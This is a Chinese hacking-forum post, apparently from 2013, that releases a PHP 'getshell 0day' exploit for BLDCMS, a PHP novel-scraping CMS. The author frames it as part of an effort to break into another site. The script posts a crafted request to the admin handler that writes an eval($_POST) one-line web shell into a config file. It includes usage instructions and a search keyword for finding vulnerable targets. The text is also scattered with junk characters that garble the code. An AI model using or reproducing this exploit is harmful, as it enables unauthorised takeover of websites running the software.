之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞4 s8 O2 o# t- t: }$ c
# X/ i0 x4 {# }9 J6 W
* t2 y( J* I8 @+ p8 n7 l" {( p! _4 d话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了 6 X# A7 a1 r3 k/ U( R6 Q3 v) z$ s
2 ], c1 s8 u) z: t. U既然都有人发了 我就把我之前写好的EXP放出来吧4 y+ K3 G3 k/ C" q4 Z+ V6 r4 m( l
' d! W. N) K+ u6 _ a
view source print?01.php;">1 J- X9 S/ h' K9 M: U
02.<!--?php
- B- t8 V4 X6 p& R) u [03.echo "-------------------------------------------------------------------3 D2 [ b, q2 |2 C$ o
04.
0 l0 r( P8 X0 A' O05.------------\r\n BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP S) R* Z7 q4 G: t
06.
4 [: D4 ], _, w% O2 E2 P8 y07.(GPC=Off)\r\n Vulnerability discovery&Code by 数据流@wooyun+ x, E! |8 ]# w) a6 K5 ~
08. ; x' h" `5 \. D( k! H
09.QQ:981009941\r\n 2013.3.21\r\n 5 P$ S# j l$ H7 H
10.
$ X$ U2 a+ q' z11. 3 a* M8 K+ k7 i# g( S" |
12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
$ d, U1 c& k( i: F' f13.
6 x6 L0 A- Y* {9 ?, F+ \14.)\r\n 搜索关键字:\"开发者: 白老大小说\"\r\n-----------) D* K- }! i& C! M! `+ o$ q
15. ?/ h0 \6 l7 ?# M
16.--------------------------------------------------------------------\r\n";
+ W0 X* ^1 z; C6 X( u( [ A17.$url=$argv[1];
/ A& _( ?1 o5 s. F; { V1 w+ W4 |' F18.$dir=$argv[2];
& M/ b3 O* ]" q( V3 x& w& C19.$pass=$argv[3];5 a' d" O/ ?0 d/ _1 X/ Z! e. A
20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';& z1 J! ~' U) P( C* O
21.if (emptyempty($pass)||emptyempty($url)); r, P7 P% g; w# [- A, [; l; K
22.{exit("请输入参数");}7 P$ l, I4 b. K2 R" b
23.else+ @ A1 n8 s0 W; A$ F4 v6 G
24.{& L9 g* H1 B) J! V, Q6 ?
25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
* S8 u F# Z# R* w# z: b8 Q26. , Y* y$ R$ R, d Y; k
27.al;5 ^# V2 J+ K7 B7 q$ M
28.$length = strlen($fuckdata);
. T' q: _1 T7 {/ ]; w* j29.function getshell($url,$pass)
( k5 j, X# |; C30.{' z% O+ Z1 ?# D7 S
31.global $url,$dir,$pass,$eval,$length,$fuckdata;
3 F8 F3 t2 F, h7 i32.$header = " OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
' m% d; M! n: S2 t% R P0 r6 D33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
4 F9 F5 t. r# `. _* Q1 `# ~& [34.$header .= "User-Agent: MSIE\r\n";( C9 r% Z0 `7 f. Y {
35.$header .= "Host:".$url."\r\n";: g* ]; A' h0 J5 [; [
36.$header .= "Content-Length: ".$length."\r\n";
' n& m# B2 ]& e2 M/ Y$ j5 T; J/ G9 p37.$header .= "Connection: Close\r\n";1 q8 d$ y% Z! m6 q) M; Q1 [
38.$header .="\r\n";0 R9 A. L; U& z3 D
39.$header .= $fuckdata."\r\n\r\n";
$ ~) x5 M( B9 T1 t2 W2 K `40.$fp = fsockopen($url, 80,$errno,$errstr,15);
' K6 D4 |% M8 d7 ?. |41.if (!$fp)3 H% E0 I! a$ l, K; V+ | X2 I
42.{
4 R# X% m+ e4 H) O1 X8 }43.exit ("利用失败:请检查指定目标是否能正常打开");, ?$ }" [0 s0 {0 a+ a! I; H
44.}
$ b0 [, s) c6 W) Q* ?45.else{ if (!fputs($fp,$header))0 I) w+ m) W* x8 ~
46.{exit ("利用失败");}& |% M% R- F) j& R6 w0 m4 F, j( c
47.else6 ~5 g- ~2 [0 w/ B5 ]: n
48.{
! @; K2 h* l8 Y, L7 w( C49.$receive = '';, B C& x2 u) D0 \- [% }
50.while (!feof($fp)) {5 l1 J2 j8 e P5 r) |% B
51.$receive .= @fgets($fp, 1000);
" U$ ]1 V; x4 e9 | l52.}6 z% n* g) f6 t, t4 Q: X+ }
53.@fclose($fp);
# c# j. |0 l$ a; X; m" H6 l54.echo "$url/$dir/conn/config/normal2.php pass pass(如连接失败 请检查目标
$ ]7 W6 K [ ?: b/ E: C55. ' _3 u: K0 ~9 u9 G
56.GPC是否=off)";$ M; b+ }# l* n# D8 j% m
57.}}* ?3 a( z7 C. w8 j4 L
58.}
! j) R) r8 [" E$ t/ i0 x1 N# F+ |& X59.}* R; {* l& E: _. j! h% E. b
60.getshell($url,$pass);% l. k0 b* v" u, ^( S- b
61.?-->
% r! t- V* Z# l1 v ' `% \: f3 @# G1 B8 d+ q+ ?
2 o* @! h& [( I) _
0 P/ A1 S! }' G+ m: v
by 数据流8 ]% p+ Q3 H# @8 U. O
|